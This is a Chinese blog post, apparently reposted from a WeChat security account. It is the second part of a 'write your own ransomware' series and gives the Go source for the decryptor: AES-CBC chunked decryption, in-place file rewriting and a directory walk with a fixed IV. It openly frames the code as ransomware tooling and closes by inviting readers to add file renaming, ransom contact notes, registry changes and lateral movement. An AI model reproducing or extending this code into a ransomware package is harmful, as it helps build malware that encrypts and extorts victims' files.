编写属于自己的勒索病毒(下)

admin 2023年9月5日16:15:55评论16 views字数 2964阅读9分52秒阅读模式

0x0"勒索病毒"解密

上篇说到了关于"勒索病毒"的加密,所以这篇是关于解密部分。

不管是加密还是解密程序,代码中都只是测试了4M大小的文件。格式不限,无论是txt,csv,docx,还是exe,dll,甚至是mp4 都可以完美的加密和解密。对于大文件而已。有些"勒索病毒"会为了追求效率而只进行文件的头部和尾部加密,也就是说,中间部分的数据某种时候会保留,在应急的时候,如果目标主机的日志很大,那么日志的中间部分很有可能没有被加密可以直接查看。

由于上篇的加密算法使用的是AES来对文件经行加密(这里理论上是支持所有文件格式,有的同学认为只支持文本,其实这是不对的。因为该加密原理是把文件的所有十六进制数据全加密(其实就类似与CTF的隐写术),然后通过AES算法进行加密后,回写进源文件(覆盖))。那么了解了原理之后,就可以进行实操部分了。

0x1 AES的解密实现

由于加密的时候,使用了AES的自动填充函数 ,所以解密的时候,首先需要一个删除填充的函数。

// PKCS7Unpadding 用于删除PKCS7填充。PKCS7是一种填充方案,通常用于AES加密。
// 参数 data: 需要删除填充的数据。
// 返回值: 删除填充后的数据。
func PKCS7Unpadding(data []byte) []byte {
padding := int(data[len(data)-1])
return data[:len(data)-padding]
}

然后是解密的主要函数,基本都写在注释里了。

// AESDecrypt 执行AES解密操作。
// 参数 input: 输入数据流, output: 输出数据流, key: 加密密钥, iv: 初始化向量, blockSize: 数据块大小。
// 返回值: 错误信息(如果有错误)。
func AESDecrypt(input io.Reader, output io.Writer, key []byte, iv []byte, blockSize int) error {
// 创建一个AES加密块,使用提供的密钥。
block, err := aes.NewCipher(key)
if err != nil {
return err
}

// 创建一个AES解密模式,使用CBC模式(Cipher Block Chaining)和提供的初始化向量(IV)。
mode := cipher.NewCBCDecrypter(block, iv)

// 创建一个缓冲区,用于暂时存储解密的数据块。
buffer := make([]byte, blockSize)

// 开始逐块解密输入数据。
for {
n, err := input.Read(buffer)
if err != nil && err != io.EOF {
return err
}

if n > 0 {
// 创建一个用于存储解密后数据的切片,解密数据块,并删除PKCS7填充。
decrypted := make([]byte, n)
mode.CryptBlocks(decrypted, buffer[:n])
decrypted = PKCS7Unpadding(decrypted)

// 将解密后的数据写入输出流。
_, err = output.Write(decrypted)
if err != nil {
return err
}
}

if err == io.EOF {
break
}
}

return nil
}

接着,就是向上面的解密函数传入文件流,这里有一个小坑,IV值尽量写在程序中,而不是保存在本地文件,格式问题转换似乎有一些问题,这里也有弊端,每次的IV值都相同,后期会完善。或者有能力的师傅也可以动手。

// DecryptFile 用于解密文件并将解密后的内容写回原文件。
// 参数 filename: 文件名, key: 加密密钥, iv: 初始化向量, blockSize: 数据块大小。
// 返回值: 错误信息(如果有错误)。
func DecryptFile(filename string, key []byte, iv []byte, blockSize int) error {
// 打开需要解密的加密文件。
encryptedFile, err := os.Open(filename)
if err != nil {
return err
}
defer encryptedFile.Close()

// 创建一个缓冲区以保存解密后的内容。
buffer := bytes.Buffer{}

// 执行解密操作,将解密后的数据写入缓冲区。
err = AESDecrypt(encryptedFile, &buffer, key, iv, blockSize)
if err != nil {
return err
}

// 截断源文件,以便将解密后的内容写回。
err = os.Truncate(filename, 0)
if err != nil {
return err
}

// 以写模式打开源文件。
sourceFile, err := os.OpenFile(filename, os.O_RDWR|os.O_TRUNC|os.O_CREATE, 0644)
if err != nil {
return err
}
defer sourceFile.Close()

// 将解密后的内容写回源文件。
_, err = io.Copy(sourceFile, &buffer)
if err != nil {
return err
}

return nil
}

最后是程序入口,直接传一个需要解密的目录。

func main() {
if len(os.Args) < 2 {
fmt.Println("Usage: go run main.go <directory>")
return
}

key := []byte("") // 自定义加密密钥
directory := os.Args[1] // 从命令行参数获取目录路径

// 遍历文件夹中的文件并解密它们。
err := filepath.Walk(directory, func(path string, info os.FileInfo, err error) error {
if err != nil {
return err
}

// 跳过目录和非加密文件。
if info.IsDir() {
return nil
}

// 生成IV值,IV是一种初始化向量,只需要一个与加密函数的固定值就行。
iv := make([]byte, aes.BlockSize)
for i := 0; i < aes.BlockSize; i++ {
if i%2 == 0 {
iv[i] = 0xFF
} else {
iv[i] = 0xAA
}
}
encryptedFile, err := os.Open(path)
if err != nil {
return err
}
defer encryptedFile.Close()

// 解密每个文件。
err = DecryptFile(path, key, iv, 4*1024*1024)
if err != nil {
return err
}

return nil
})

if err != nil {
fmt.Println("解密过程中出现错误:", err)
return
}

fmt.Println("解密完成。")
}

0x2总结

在上面的例子中,完全可以使用其他算法or语言进行代替。当然"勒索病毒"还会更改文件名,在主机中留下联系方式,修改注册表,自动横向等。相信以各位师傅的实力,如果需要添加上面的功能也不是什么难事。本文只是抛砖颖玉,揭开"勒索病毒"加密文件部分的神秘面纱罢了。


原文始发于微信公众号(X安全实验室):编写属于自己的勒索病毒(下)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年9月5日16:15:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   编写属于自己的勒索病毒(下)http://cn-sec.com/archives/2008188.html

发表评论

匿名网友 填写信息